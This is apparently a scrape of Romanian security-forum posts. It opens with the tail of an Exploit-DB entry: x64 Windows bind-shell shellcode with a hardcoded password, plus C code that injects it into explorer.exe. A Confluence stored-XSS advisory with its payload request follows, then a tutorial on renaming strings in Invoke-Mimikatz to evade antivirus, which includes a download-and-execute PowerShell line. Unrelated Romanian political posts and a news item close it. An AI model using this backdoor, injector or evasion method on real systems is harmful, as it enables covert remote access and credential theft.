2d 3e movl $0x203e2d2d,(%r12) 15a: 20 15b: 49 8d 14 24 lea (%r12),%rdx 15f: 6a 04 pushq $0x4 161: 41 58 pop %r8 163: 4d 31 c9 xor %r9,%r9 166: 48 83 ec 58 sub $0x58,%rsp 16a: ff d3 callq *%rbx 16c: 41 8b 5e 3c mov 0x3c(%r14),%ebx 170: 4c 01 fb add %r15,%rbx 173: 4d 31 c9 xor %r9,%r9 176: 6a 08 pushq $0x8 178: 41 58 pop %r8 17a: 49 8d 14 24 lea (%r12),%rdx 17e: 49 8b 4c 24 f8 mov -0x8(%r12),%rcx 183: ff d3 callq *%rbx 185: 41 81 3c 24 68 32 37 cmpl $0x31373268,(%r12) 18c: 31 18d: 0f 85 7b ff ff ff jne 10e <kick> 193: 41 81 7c 24 04 35 30 cmpl $0x46383035,0x4(%r12) 19a: 38 46 19c: 0f 85 6c ff ff ff jne 10e <kick> 1a2: 8b 5e 44 mov 0x44(%rsi),%ebx 1a5: 48 01 fb add %rdi,%rbx 1a8: ff d3 callq *%rbx 1aa: 48 31 d2 xor %rdx,%rdx 1ad: 41 c7 04 24 75 73 65 movl $0x72657375,(%r12) 1b4: 72 1b5: 66 41 c7 44 24 04 33 movw $0x3233,0x4(%r12) 1bc: 32 1bd: 41 88 54 24 06 mov %dl,0x6(%r12) 1c2: 49 8d 0c 24 lea (%r12),%rcx 1c6: 48 83 ec 58 sub $0x58,%rsp 1ca: 66 ba 40 03 mov $0x340,%dx 1ce: 8b 1c 96 mov (%rsi,%rdx,4),%ebx 1d1: 48 01 fb add %rdi,%rbx 1d4: ff d3 callq *%rbx 1d6: 49 89 c6 mov %rax,%r14 1d9: 41 c7 04 24 46 69 6e movl $0x646e6946,(%r12) 1e0: 64 1e1: 41 c7 44 24 04 57 69 movl $0x646e6957,0x4(%r12) 1e8: 6e 64 1ea: 41 c7 44 24 08 6f 77 movl $0x4141776f,0x8(%r12) 1f1: 41 41 1f3: 41 80 74 24 0b 41 xorb $0x41,0xb(%r12) 1f9: 48 31 d2 xor %rdx,%rdx 1fc: 66 ba 2c 09 mov $0x92c,%dx 200: 44 8b 2c 16 mov (%rsi,%rdx,1),%r13d 204: 49 01 fd add %rdi,%r13 207: 49 8d 14 24 lea (%r12),%rdx 20b: 4c 89 f1 mov %r14,%rcx 20e: 41 ff d5 callq *%r13 211: 48 31 d2 xor %rdx,%rdx 214: 41 c7 04 24 43 6f 6e movl $0x736e6f43,(%r12) 21b: 73 21c: 41 c7 44 24 04 6f 6c movl $0x57656c6f,0x4(%r12) 223: 65 57 225: 41 c7 44 24 08 69 6e movl $0x6f646e69,0x8(%r12) 22c: 64 6f 22e: 41 c7 44 24 0c 77 43 movl $0x616c4377,0xc(%r12) 235: 6c 61 237: 66 41 c7 44 24 10 73 movw $0x7373,0x10(%r12) 23e: 73 23f: 41 88 54 24 12 mov %dl,0x12(%r12) 244: 49 8d 0c 24 lea (%r12),%rcx 248: 48 83 ec 58 sub $0x58,%rsp 24c: ff d0 callq *%rax 24e: 48 31 d2 xor %rdx,%rdx 251: 41 c7 04 24 53 68 6f movl $0x776f6853,(%r12) 258: 77 259: 41 c7 44 24 04 57 69 movl $0x646e6957,0x4(%r12) 260: 6e 64 262: 66 41 c7 44 24 08 6f movw $0x776f,0x8(%r12) 269: 77 26a: 41 88 54 24 0a mov %dl,0xa(%r12) 26f: 49 8d 14 24 lea (%r12),%rdx 273: 4c 89 f1 mov %r14,%rcx 276: 41 55 push %r13 278: 5b pop %rbx 279: 49 89 c5 mov %rax,%r13 27c: ff d3 callq *%rbx 27e: 4c 89 e9 mov %r13,%rcx 281: 48 31 d2 xor %rdx,%rdx 284: ff d0 callq *%rax 286: 4d 31 c0 xor %r8,%r8 289: 41 50 push %r8 28b: 5a pop %rdx 28c: 66 ba 1f 04 mov $0x41f,%dx 290: 8b 1c 96 mov (%rsi,%rdx,4),%ebx 293: 48 01 fb add %rdi,%rbx 296: 41 50 push %r8 298: 5a pop %rdx 299: b2 80 mov $0x80,%dl 29b: 49 8d 0c 24 lea (%r12),%rcx 29f: ff d3 callq *%rbx 2a1: 48 31 d2 xor %rdx,%rdx 2a4: 41 c7 44 24 f4 63 6d movl $0x41646d63,-0xc(%r12) 2ab: 64 41 2ad: 41 88 54 24 f7 mov %dl,-0x9(%r12) 2b2: b2 68 mov $0x68,%dl 2b4: 49 89 14 24 mov %rdx,(%r12) 2b8: b2 ff mov $0xff,%dl 2ba: 48 ff c2 inc %rdx 2bd: 49 8b 44 24 f8 mov -0x8(%r12),%rax 2c2: 41 89 54 24 3c mov %edx,0x3c(%r12) 2c7: 49 89 44 24 50 mov %rax,0x50(%r12) 2cc: 49 89 44 24 58 mov %rax,0x58(%r12) 2d1: 49 89 44 24 60 mov %rax,0x60(%r12) 2d6: 48 83 ec 58 sub $0x58,%rsp 2da: 48 31 c9 xor %rcx,%rcx 2dd: 4d 31 c9 xor %r9,%r9 2e0: 6a 01 pushq $0x1 2e2: 41 58 pop %r8 2e4: 4c 89 44 24 20 mov %r8,0x20(%rsp) 2e9: 48 89 4c 24 28 mov %rcx,0x28(%rsp) 2ee: 48 89 4c 24 30 mov %rcx,0x30(%rsp) 2f3: 48 89 4c 24 38 mov %rcx,0x38(%rsp) 2f8: 49 8d 14 24 lea (%r12),%rdx 2fc: 48 89 54 24 40 mov %rdx,0x40(%rsp) 301: 49 8d 54 24 68 lea 0x68(%r12),%rdx 306: 48 89 54 24 48 mov %rdx,0x48(%rsp) 30b: 4d 31 c0 xor %r8,%r8 30e: 49 8d 54 24 f4 lea -0xc(%r12),%rdx 313: 4d 31 d2 xor %r10,%r10 316: 66 41 ba 94 02 mov $0x294,%r10w 31b: 42 8b 1c 16 mov (%rsi,%r10,1),%ebx 31f: 48 01 fb add %rdi,%rbx 322: ff d3 callq *%rbx 324: 48 31 d2 xor %rdx,%rdx 327: 52 push %rdx 328: 66 ba 29 01 mov $0x129,%dx 32c: 8b 1c 96 mov (%rsi,%rdx,4),%ebx 32f: 48 01 fb add %rdi,%rbx 332: 59 pop %rcx 333: 48 83 c4 58 add $0x58,%rsp 337: ff d3 callq *%rbx */ /* section .text global _start _start: cdq mov dl, 128 sub rsp,rdx lea r12,[rsp] xor rdx,rdx mov rax,[gs:rdx+0x60] mov rax,[rax+0x18] mov rsi,[rax+0x10] lodsq mov rsi,[rax] mov rdi,[rsi+0x30] ;kernel32.dll base address ;----------------------------------------- mov dl,0x88 mov ebx,[rdi+0x3c] add rbx,rdi mov ebx,[rbx+rdx] add rbx,rdi mov esi,[rbx+0x1c] ;kernel32.dll AddressOfFunctions add rsi,rdi ;=============================================MAIN CODE====================================================; ;loading ws2_32.dll xor rdx,rdx mov [r12],dword 'ws2_' mov [r12+4],word '32' mov [r12+6],byte dl mov dx,832 mov ebx,[rsi+rdx*4] add rbx,rdi lea rcx,[r12] call rbx mov r15,rax ;ws2_32.dll base Address ;--------------------------- xor rdx,rdx mov dl,0x88 mov ebx,[r15+0x3c] add rbx,r15 mov ebx,[rbx+rdx] add rbx,r15 mov r14d,[rbx+0x1c] add r14,r15 ;ws2_32.dll AddressOfFunctions ;--------------------------------------------- ;WSAStartup(514,&WSADATA) mov dx,114*4 mov ebx,[r14+rdx] add rbx,r15 xor rcx,rcx mov cx,408 sub rsp,rcx lea rdx,[rsp] mov cx,514 call rbx ;--------------------------------------------- ;WSASocketA(2,1,6,0,0,0) sub rsp,88 sub rsp,88 xor rdx,rdx mov dx,98*4 mov ebx,[r14+rdx] add rbx,r15 push 6 push 1 push 2 pop rcx pop rdx pop r8 xor r9,r9 mov [rsp+32],r9 mov [rsp+40],r9 call rbx mov r13,rax ;SOCKET ;---------------------------------------------------------------- ;-------------------------------------------------- mov ebx,[r14+4] add rbx,r15 ;bind() ;bind(SOCKET,(struct sockaddr *)&struct sockaddr_in,16) push 16 pop r8 xor rdx,rdx mov [r12],rdx mov [r12+8],rdx mov [r12],byte 2 mov [r12+2],word 0xbd09 ;port 2493 (change it if U want) lea rdx,[r12] mov rcx,r13 call rbx ;--------------------------------------------------------- mov ebx,[r14+48] add rbx,r15 ;listen() ;listen(SOCKET,1) push 1 pop rdx mov rcx,r13 call rbx sub rsp,88 jmp a ;------------------------------------------------ ;----------------------------------------- kick: add rsp,88 mov ebx,[r14+8] add rbx,r15 ;CloseSocket() mov rcx,[r12-8] call rbx ;----------------------------------- a: mov ebx,[r14] add rbx,r15 ;accept() ;accept(SOCKET,(struct sockaddr *)&struct sockaddr_in,16) xor rdx,rdx mov [r12],rdx mov [r12+8],rdx mov dl,16 push rdx lea r8,[rsp] lea rdx,[r12] mov rcx,r13 call rbx mov [r12-8],rax ;client socket ;-------------------------- ;send(SOCKET,string,4,0) mov ebx,[r14+72] add rbx,r15 ;send() mov rcx,[r12-8] mov [r12],dword 0x203e2d2d lea rdx,[r12] push byte 4 pop r8 xor r9,r9 sub rsp,88 call rbx ;------------------------------------------- mov ebx,[r14+60] add rbx,r15 ;recv() xor r9,r9 push byte 8 pop r8 lea rdx,[r12] mov rcx,[r12-8] call rbx ;------------------------ ;password: h271508F cmp dword [r12],'h271' jne kick cmp dword [r12+4],'508F' jne kick ;---------------------------------------------- ;hiding window mov ebx,[rsi+68] add rbx,rdi call rbx ;AllocConsole() ;--------------------------------------- xor rdx,rdx ;loading user32.dll mov [r12],dword 'user' mov [r12+4],word '32' mov [r12+6],byte dl lea rcx,[r12] sub rsp,88 ;reserving memory for API mov dx,832 mov ebx,[rsi+rdx*4] add rbx,rdi call rbx ;LoadLibraryA("user32") mov r14,rax ;user32.dll base ;---------------------------------------------------------------- ;-------------------------------------- ;++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ;Finding address of FindWindowA() mov [r12],dword 'Find' mov [r12+4],dword 'Wind' mov [r12+8],dword 'owAA' xor byte [r12+11],0x41 xor rdx,rdx mov dx,587*4 mov r13d,[rsi+rdx] add r13,rdi ;GetProcAddress() (temporary) lea rdx,[r12] mov rcx,r14 call r13 ;-------------------------------------- ;------------------------------------------------- ;FindWindowA("ConsoleWindowClass",NULL) xor rdx,rdx mov [r12],dword 'Cons' mov [r12+4],dword 'oleW' mov [r12+8],dword 'indo' mov [r12+12],dword 'wCla' mov [r12+16],word 'ss' mov [r12+18],byte dl lea rcx,[r12] sub rsp,88 call rax ;---------------------------------- ;=========================================================== xor rdx,rdx ;finding Address of ShowWindow() mov [r12],dword 'Show' mov [r12+4],dword 'Wind' mov [r12+8],word 'ow' mov [r12+10],byte dl lea rdx,[r12] mov rcx,r14 push r13 pop rbx mov r13,rax ;HWND call rbx ;------------------------------------- mov rcx,r13 xor rdx,rdx call rax ;---------------------------- ;-------------------------------------- ;RtlFillMemory(address,length,fill) xor r8,r8 push r8 pop rdx mov dx,1055 mov ebx,[rsi+rdx*4] add rbx,rdi push r8 pop rdx mov dl,128 lea rcx,[r12] call rbx ;---------------------------------------------------------- ;---------------------------------------------------------------- xor rdx,rdx mov [r12-12],dword 'cmdA' mov [r12-9],byte dl mov dl,104 mov [r12],rdx mov dl,255 inc rdx mov rax,[r12-8] mov [r12+0x3c],edx mov [r12+0x50],rax mov [r12+0x58],rax mov [r12+0x60],rax ;--------------------------------------------------- ;CreateProcessA(NULL,"cmd",NULL,NULL,TRUE,0,NULL,NULL,&STARTUPINFOA,&PROCESS_INFOMATION) sub rsp,88 xor rcx,rcx xor r9,r9 push 1 pop r8 mov [rsp+32],r8 mov [rsp+40],rcx mov [rsp+48],rcx mov [rsp+56],rcx lea rdx,[r12] mov [rsp+64],rdx lea rdx,[r12+104] mov [rsp+72],rdx xor r8,r8 lea rdx,[r12-12] xor r10,r10 mov r10w,165*4 mov ebx,[rsi+r10] add rbx,rdi ;CreateProcessA() call rbx ;------------------------------------------------------ ;------------------------------ xor rdx,rdx push rdx mov dx,297 mov ebx,[rsi+rdx*4] add rbx,rdi pop rcx add rsp,88 call rbx */ #include<windows.h> #include<stdio.h> #include<string.h> #include<tlhelp32.h> char shellcode[]=\ "\x99\xb2\x80\x48\x29\xd4\x4c\x8d\x24\x24\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x40\x18\x48\x8b\x70\x10\x48\xad\x48\x8b\x30\x48\x8b\x7e\x30\xb2\x88\x8b\x5f\x3c\x48\x01\xfb\x8b\x1c\x13\x48\x01\xfb\x8b\x73\x1c\x48\x01\xfe\x48\x31\xd2\x41\xc7\x04\x24\x77\x73\x32\x5f\x66\x41\xc7\x44\x24\x04\x33\x32\x41\x88\x54\x24\x06\x66\xba\x40\x03\x8b\x1c\x96\x48\x01\xfb\x49\x8d\x0c\x24\xff\xd3\x49\x89\xc7\x48\x31\xd2\xb2\x88\x41\x8b\x5f\x3c\x4c\x01\xfb\x8b\x1c\x13\x4c\x01\xfb\x44\x8b\x73\x1c\x4d\x01\xfe\x66\xba\xc8\x01\x41\x8b\x1c\x16\x4c\x01\xfb\x48\x31\xc9\x66\xb9\x98\x01\x48\x29\xcc\x48\x8d\x14\x24\x66\xb9\x02\x02\xff\xd3\x48\x83\xec\x58\x48\x83\xec\x58\x48\x31\xd2\x66\xba\x88\x01\x41\x8b\x1c\x16\x4c\x01\xfb\x6a\x06\x6a\x01\x6a\x02\x59\x5a\x41\x58\x4d\x31\xc9\x4c\x89\x4c\x24\x20\x4c\x89\x4c\x24\x28\xff\xd3\x49\x89\xc5\x41\x8b\x5e\x04\x4c\x01\xfb\x6a\x10\x41\x58\x48\x31\xd2\x49\x89\x14\x24\x49\x89\x54\x24\x08\x41\xc6\x04\x24\x02\x66\x41\xc7\x44\x24\x02\x09\xbd\x49\x8d\x14\x24\x4c\x89\xe9\xff\xd3\x41\x8b\x5e\x30\x4c\x01\xfb\x6a\x01\x5a\x4c\x89\xe9\xff\xd3\x48\x83\xec\x58\xeb\x12\x48\x83\xc4\x58\x41\x8b\x5e\x08\x4c\x01\xfb\x49\x8b\x4c\x24\xf8\xff\xd3\x41\x8b\x1e\x4c\x01\xfb\x48\x31\xd2\x49\x89\x14\x24\x49\x89\x54\x24\x08\xb2\x10\x52\x4c\x8d\x04\x24\x49\x8d\x14\x24\x4c\x89\xe9\xff\xd3\x49\x89\x44\x24\xf8\x41\x8b\x5e\x48\x4c\x01\xfb\x49\x8b\x4c\x24\xf8\x41\xc7\x04\x24\x2d\x2d\x3e\x20\x49\x8d\x14\x24\x6a\x04\x41\x58\x4d\x31\xc9\x48\x83\xec\x58\xff\xd3\x41\x8b\x5e\x3c\x4c\x01\xfb\x4d\x31\xc9\x6a\x08\x41\x58\x49\x8d\x14\x24\x49\x8b\x4c\x24\xf8\xff\xd3\x41\x81\x3c\x24\x68\x32\x37\x31\x0f\x85\x7b\xff\xff\xff\x41\x81\x7c\x24\x04\x35\x30\x38\x46\x0f\x85\x6c\xff\xff\xff\x8b\x5e\x44\x48\x01\xfb\xff\xd3\x48\x31\xd2\x41\xc7\x04\x24\x75\x73\x65\x72\x66\x41\xc7\x44\x24\x04\x33\x32\x41\x88\x54\x24\x06\x49\x8d\x0c\x24\x48\x83\xec\x58\x66\xba\x40\x03\x8b\x1c\x96\x48\x01\xfb\xff\xd3\x49\x89\xc6\x41\xc7\x04\x24\x46\x69\x6e\x64\x41\xc7\x44\x24\x04\x57\x69\x6e\x64\x41\xc7\x44\x24\x08\x6f\x77\x41\x41\x41\x80\x74\x24\x0b\x41\x48\x31\xd2\x66\xba\x2c\x09\x44\x8b\x2c\x16\x49\x01\xfd\x49\x8d\x14\x24\x4c\x89\xf1\x41\xff\xd5\x48\x31\xd2\x41\xc7\x04\x24\x43\x6f\x6e\x73\x41\xc7\x44\x24\x04\x6f\x6c\x65\x57\x41\xc7\x44\x24\x08\x69\x6e\x64\x6f\x41\xc7\x44\x24\x0c\x77\x43\x6c\x61\x66\x41\xc7\x44\x24\x10\x73\x73\x41\x88\x54\x24\x12\x49\x8d\x0c\x24\x48\x83\xec\x58\xff\xd0\x48\x31\xd2\x41\xc7\x04\x24\x53\x68\x6f\x77\x41\xc7\x44\x24\x04\x57\x69\x6e\x64\x66\x41\xc7\x44\x24\x08\x6f\x77\x41\x88\x54\x24\x0a\x49\x8d\x14\x24\x4c\x89\xf1\x41\x55\x5b\x49\x89\xc5\xff\xd3\x4c\x89\xe9\x48\x31\xd2\xff\xd0\x4d\x31\xc0\x41\x50\x5a\x66\xba\x1f\x04\x8b\x1c\x96\x48\x01\xfb\x41\x50\x5a\xb2\x80\x49\x8d\x0c\x24\xff\xd3\x48\x31\xd2\x41\xc7\x44\x24\xf4\x63\x6d\x64\x41\x41\x88\x54\x24\xf7\xb2\x68\x49\x89\x14\x24\xb2\xff\x48\xff\xc2\x49\x8b\x44\x24\xf8\x41\x89\x54\x24\x3c\x49\x89\x44\x24\x50\x49\x89\x44\x24\x58\x49\x89\x44\x24\x60\x48\x83\xec\x58\x48\x31\xc9\x4d\x31\xc9\x6a\x01\x41\x58\x4c\x89\x44\x24\x20\x48\x89\x4c\x24\x28\x48\x89\x4c\x24\x30\x48\x89\x4c\x24\x38\x49\x8d\x14\x24\x48\x89\x54\x24\x40\x49\x8d\x54\x24\x68\x48\x89\x54\x24\x48\x4d\x31\xc0\x49\x8d\x54\x24\xf4\x4d\x31\xd2\x66\x41\xba\x94\x02\x42\x8b\x1c\x16\x48\x01\xfb\xff\xd3\x48\x31\xd2\x52\x66\xba\x29\x01\x8b\x1c\x96\x48\x01\xfb\x59\x48\x83\xc4\x58\xff\xd3"; int main() { HANDLE s,proc; PROCESSENTRY32 ps; BOOL process_found=0; LPVOID shell; SIZE_T total; //finding explorer.exe pid ps.dwSize=sizeof(ps); s=CreateToolhelp32Snapshot(2,0); if(s==INVALID_HANDLE_VALUE) { printf("CreateToolhelp32Snapshot() failed.Error code %d\n",GetLastError()); return -1; } if(!Process32First(s,&ps)) { printf("Process32First() failed.Error code %d\n",GetLastError()); return -1; } do{ if(0==strcmp(ps.szExeFile,"explorer.exe")) { process_found=1; break; } }while(Process32Next(s,&ps)); if(!process_found) { printf("Unknown Process\n"); return -1; } //opening process using pid proc=OpenProcess(PROCESS_ALL_ACCESS,0,ps.th32ProcessID); if(proc==INVALID_HANDLE_VALUE) { printf("OpenProcess() failed.Error code %d\n",GetLastError()); return -1; } //allocating memory process memory if( (shell=VirtualAllocEx(proc,NULL,sizeof(shellcode),MEM_COMMIT,PAGE_EXECUTE_READWRITE)) == NULL) { printf("Failed to allocate memory into process"); CloseHandle(proc); return -1; } //writing shellcode into process memory WriteProcessMemory(proc,shell,shellcode,sizeof(shellcode),&total); if(sizeof(shellcode)!=total) { printf("Failed write shellcode into process memory"); CloseHandle(proc); return -1; } //Executing shellcode if((s=CreateRemoteThread(proc,NULL,0,(LPTHREAD_START_ROUTINE)shell,NULL,0,0))==NULL) { printf("Failed to Execute shellcode"); CloseHandle(proc); return -1; } CloseHandle(proc); CloseHandle(s); return 0; } Sursa: https://www.exploit-db.com/exploits/40981/

From: jlss <jodson.santos () tempest com br> Date: Tue, 3 Jan 2017 15:50:30 -0300 =====[ Tempest Security Intelligence - ADV-3/2016 CVE-2016-6283 ]============== Persisted Cross-Site Scripting (XSS) in Confluence Jira Software ---------------------------------------------------------------- Author(s): - Jodson Santos - jodson.santos () tempest com br Tempest Security Intelligence - Recife, Pernambuco - Brazil =====[ Table of Contents ]===================================================== 1. Overview 2. Detailed description 3. Affected versions & Solutions 4. Timeline of disclosure 5. Thanks & Acknowledgements 6. References =====[1. Overview ]============================================================ * System affected : Atlassian Confluence * Software Version : 5.9.12 Other versions or models may also be affected. * Impact : This vulnerability allows an attacker to use Confluence's platform to deliver attacks against other users. =====[2. Detailed description ]================================================ Atlassian Confluence version 5.9.12 is vulnerable to persistent cross-site scripting (XSS) because it fails to securely validate user controlled data, thus making it possible for an attacker to supply crafted input in order to harm users. The bug occurs at pages carrying attached files, even though the attached file name parameter is correctly sanitized upon submission, it is possible for an attacker to later edit the attached file name property and supply crafted data (i.e HTML tags and script code) without the occurrence of any security checks, resulting in an exploitable persistent XSS. In order to reproduce the vulnerability, go to a page with an attached file, click on "Attachments" in order to list the page's attachments, and then click on "Properties" for the file of your choice. Edit the file name to, for example, <script>alert(1)</script>test.pdf and then save the changes. Albeit the XSS is not executed within the page display, it is possible to trigger the execution of the supplied code while performing a search within Confluence in which results include the attachment with crafted file name. For that matter, the search terms " or * will promptly display the file and execute the injected javascript code. As a means to further enlighten this, the following excerpt demonstrates a POST request with the malicious insertion within the newFileName field: POST /pages/doeditattachment.action?pageId={pageId}&attachmentBean.fileName={filename } HTTP/1.1 Host: {confluence host} Cookie: mywork.tab.tasks=false; JSESSIONID={redacted}; confluence.browse.space.cookie=space-templates Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: {redacted} atl_token={atl_token}&pageId={pageId}&isFromPageView=false&newFileName=<script>a lert(1)</script>file&newComment=&newContentType=application%2Foctet-stream&newPa rentPage=&confirm=Save It is worth noting that the issue may affect users regardless of privilege levels, since the malicious page/attachment can be browsed by any user within the Atlassian Confluence instance. =====[3. Affected versions & Solutions ]======================================= This test was performed against Atlassian Confluence version 5.9.12. According to vendor's response, the vulnerability is addressed and the fix is part of the 5.10.6 release. =====[4. Timeline of disclosure ]============================================== Jul/07/2016 - Vendor acknowledged the vulnerability. Aug/04/2016 - Vendor released the fix for the vulnerability in version 5.10.6. =====[5. Thanks & Acknowledgements ]=========================================== - Tempest Security Intelligence / Tempest's Pentest Team [1] - Joaquim Brasil - Heyder Andrade - Breno Cunha =====[6. References ]========================================================== [1] https://en.wikipedia.org/wiki/Confluence_(software) Sursa: http://seclists.org/fulldisclosure/2017/Jan/3

How to Bypass Anti-Virus to Run Mimikatz Carrie Roberts // Would you like to run Mimikatz without Anti-Virus (AV) detecting it? Recently I attempted running the PowerShell script “Invoke-Mimikatz” from PowerSploit on my machine but it was flagged by Windows Defender as malicious when saving the file to disk. Even when I ran this file without writing it to disk using the following command it still got caught. powershell "IEX (New-Object Net.WebClient).DownloadString ('https://github.com/PowerShellMafia/PowerSploit/raw/master/Exfiltration/ Invoke-Mimikatz.ps1');Invoke-Mimikatz" Windows Defender Detects Unmodified Mimikatz Script Uploading the Invoke-Mimikatz.ps1 file to VirusTotal showed that 19 of 54 AV vendors currently detect this file as malicious. AV Detection Rate for Unmodified Mimikatz Script As you may know, AV detection schemes can be weak, simply looking for specific words in the file. Often these words can be changed without changing the functionality. For example, changing “Invoke-Mimikatz” to “Invoke-Mimidogz” using the following Linux command brings the detection rate down to 8 of 54 sed -i -e 's/Invoke-Mimikatz/Invoke-Mimidogz/g' Invoke-Mimikatz.ps1 AV Detection Rate for “Katz” to “Dogz” And how about getting rid of those unnecessary comments in the script? sed -i -e '/<#/,/#>/c\\' Invoke-Mimikatz.ps1 sed -i -e 's/^[[:space:]]*#.*$//g' Invoke-Mimikatz.ps1 AV Detection Ratio After Removing Comments from Script We are down to four (4) AV vendors detecting the malicious file after renaming “Katz” to “Dogz” and removing comments. A little further experimentation shows that AV doesn’t like the word “DumpCreds”, let’s change it to “DumpCred”. sed -i -e 's/DumpCreds/DumpCred/g' Invoke-Mimikatz.ps1 AV Detection After Renaming “DumpCreds” We are down to only two AV vendors detecting this file as malicious now. We could probably quit here and get a lot of mileage out of this script because who has even heard of those AV vendors anyway? But as my daughter would say after reading the disclaimer on hand sanitizer, “Why don’t they just put a little bit more in and kill ‘em all!?” So let’s do this. Just add three more match and replace rules and “Winner, winner, chicken dinner!” The complete list of match and replace commands is listed below. sed -i -e 's/Invoke-Mimikatz/Invoke-Mimidogz/g' Invoke-Mimikatz.ps1 sed -i -e '/<#/,/#>/c\\' Invoke-Mimikatz.ps1 sed -i -e 's/^[[:space:]]*#.*$//g' Invoke-Mimikatz.ps1 sed -i -e 's/DumpCreds/DumpCred/g' Invoke-Mimikatz.ps1 sed -i -e 's/ArgumentPtr/NotTodayPal/g' Invoke-Mimikatz.ps1 sed -i -e 's/CallDllMainSC1/ThisIsNotTheStringYouAreLookingFor/g' Invoke-Mimikatz.ps1 sed -i -e "s/\-Win32Functions \$Win32Functions$/\-Win32Functions \$Win32Functions #\-/g" Invoke-Mimikatz.ps1 No AV Detection After Match and Replace Rules We successfully modified the Mimikatz script to avoid AV detection without changing the functionality. Great evidence to why you should not rely solely on your AV for protection. Modified Mimikatz Script Still Functional For additional information on bypassing Anti-Virus, check out the “Sacred Cash Cow Tipping” webcast series. Sursa: http://www.blackhillsinfosec.com/?p=5555

"Dle Dragnea, aflaram de la televizor ca sunteti singurul care cunoaste programul din scoarta in scoarta. Va rog eu frumos, invatati-i si pe ei. " Full text: http://www.hotnews.ro/stiri-esential-21511164-ora-19-00-noul-guvern-depune-juramantul-palatul-cotroceni.htm

Iohannis le-a dat o mare muie si lui Dragnea si ministrilor (care nu cunosc programul de guvernare) live, la juramant. Epic! Forta!

https://twitter.com/codelancer/status/816627501778620416

1. In calitate de pieton, intr-un oras mega-aglomerat si mega-poluat, sunt de acord cu cat mai multe taxe pentru soferi. In Bucuresti toata lumea se plange de trafic, insa toti sunt in masini. Se plang toti ca nu ajung autobuzele si ambulantele la timp, insa strazile sunt pline de rable de 1000 de euro, pentru ca romanul vrea sa aiba masina, nu ce sa puna pe masa. Lenea si confortul se platesc. 2. Taxa aceea exista pentru a avea o televiziune INDEPENDENTA. Adica nu Antena 3 a lui Voiculescu, care pupa in cur PSD sau Realitatea lui Ghita. O televiziune care in principiu nu ar trebui controlata politic. Si din moment ce in masina se asculta KissFM, Radio Zu sau Manele XXL FM, mi se pare normal sa se plateasca. 3. Lege ca aceea exista de ani de zile in afara si ofera avantaje pentru cetateni. Nu te obliga nimeni sa te folosesti de ea, dar daca ai nevoie, consider ca o vei gasi utila. Dar nu stii asta pana nu ai nevoie. Cat despre taxe si impozite si faptul ca Dragnea vrea sa le scoata, e ca sa multumeasca prostimea. Ce nu stie nici PSD-ul, e ca acele taxe aduc bani la buget care platesc intr-un final bugetarii si pensiile. Daca incepem cu mariri de pensii si salarii (care apropo, nu sunt pentru toata lumea) o sa apara o gramada de probleme: 1. Bugetul de la stat se duce acolo, nu tu autostrazi, nu tu investitii etc. si ne miram de ce Romania arata ca in anul 1800. 2. Daca creste salariul minim, si ei nu se gandesc, creste si numarul de disponibilizari. Patronii nu isi vor mai permite sa tina mai multi angajati si unii vor zbura (destui). 3. Daca creste salariul minim, se incurajeaza munca la negru. Adica fara carte de munca => batrani cu pensii mici care vor vota tot cu unii ca PSD ca sa primeasca si ei o muie la pensie, ca toata viata au muncit la negru, nu ca prostii ca noi care platim zeci de milioane taxe. Romanii nu s-au saturat sa ia muie de la tehnocrati, pentru ca nu au luat niciodata! Romanii isi asteapta muia calda de la PSD care se va rasfrange asupra noastra, a tinerilor.

EXCLUSIV. După chiul, shopping şi fumat în birou, Corina Crețu șochează iar. Comisarul european dă vina pe hackeri, abia după ce România liberă i-a semnalat că pe contul său de Twitter sunt filme porno de Adrian Bărbulescu , 04 ianuarie 2017 - stire actualizata la ora 08:41, 04 ianuarie 2017 EXCLUSIV. După chiul, shopping şi fumat în birou, Corina Crețu șochează iar. Comisarul european dă vina pe hackeri, abia după ce România liberă i-a semnalat că pe contul său de Twitter sunt filme porno Comisarul european pentru Politici Regionale, Corina Creţu, propulsată în această poziţie de Victor Ponta şi PSD, este pe cale să fie în centrul unui nou scandal monstru, când abia se risipiseră ecourile dezvăluirilor făcute în decembrie 2015 de jurnalistul Ryan Heath de la Politico Europe. UPDATE Corina Creţu: contul meu a fost spart Abia după ce România liberă i-a atras atenţia oficial asupra faptului că pe contul său de Twitter sunt postate filme porno, comisarul european Corina Creţu a reacţionat. „Contul meu a fost spart. Vă rog ignoraţi tweet-urile, RT-urile şi like-urile postate în ultimele 48 de ore. Lucrăm pentru a rezolva această problemă cât mai repede posibil. Scuze” (My account has been hacked. Pls disregard tweets, RTs &likes posted in the last 48 hrs. We are working on solving issue asap. Apologies), a scris Creţu chiar pe contul său de Twitter pe care-i sfătuia pe urmăritori să-l ignore. Apoi, a postat un mesaj similar şi în limba română: "Contul meu a fost spart & accesat ilegal. Ignorați mesajele & like-urile din ultimele 48 ore. Echipa mea lucrează la remedierea situației". Întrebarea se pune dacă trebuia să ignorăm şi aceste mesaje, aşa cum ne îndemna Corina Creţu. Dacă atunci scandalul era centrat pe chiul, shopping şi fumat în biroul de la Comisia Europeană, acum are accente pornografice de-a dreptul. Comisarul european a dat like, de pe contul său oficial de Twitter, unor postări XXX, pe care, din motive lesne de înţeles, nu le putem publica decât blurate. Chiar sistemul de operare Windows îi avertizează pe utilizatori, înainte de a deschide linkul, că “următorul conţinut media poate conţine material sensibil”. Nu numai că este sensibil acest conţinut, ci el este pornografic de-a dreptul. Twitter funcţionează similar cu Facebook, adică în momentul în care o persoană pe care o urmăreşti (i-ai dat “follow”) dă like unei postări, vei putea vedea atât postările proprii ale acesteia, cât şi cele cărora le-a dat like. Astfel, toţi cei 15.200 de urmăritori ai Corinei Creţu de pe reţeaua de socializare au putut viziona filmuleţele pornografice cărora le-a dat like comisarul european. Şi nu este vorba de un cont de Twitter oarecare, al unei persoane private, ci de unul oficial în calitate de comisar european, căruia reţeaua de socializare condusă de Jack Dorsey i-a alocat şi o bifă albastră, “privilegiu” acordat persoanelor publice cunoscute, care certifică autenticitatea contului. Mai trebuie menţionat faptul că la nivelul instituţiilor europene canalul oficial de comunicare este Twitter, şi nu Facebook. Articol complet: http://www.romanialibera.ro/actualitate/fapt-divers/exclusiv--comisarul-european-corina-cretu-da-like-uri-la-filme-porno--pe-contul-sau-oficial-de-twitter-437210

Informativ: http://gov.ro/ro/stiri/guvernul-ciolo-bilant-la-final-de-mandat

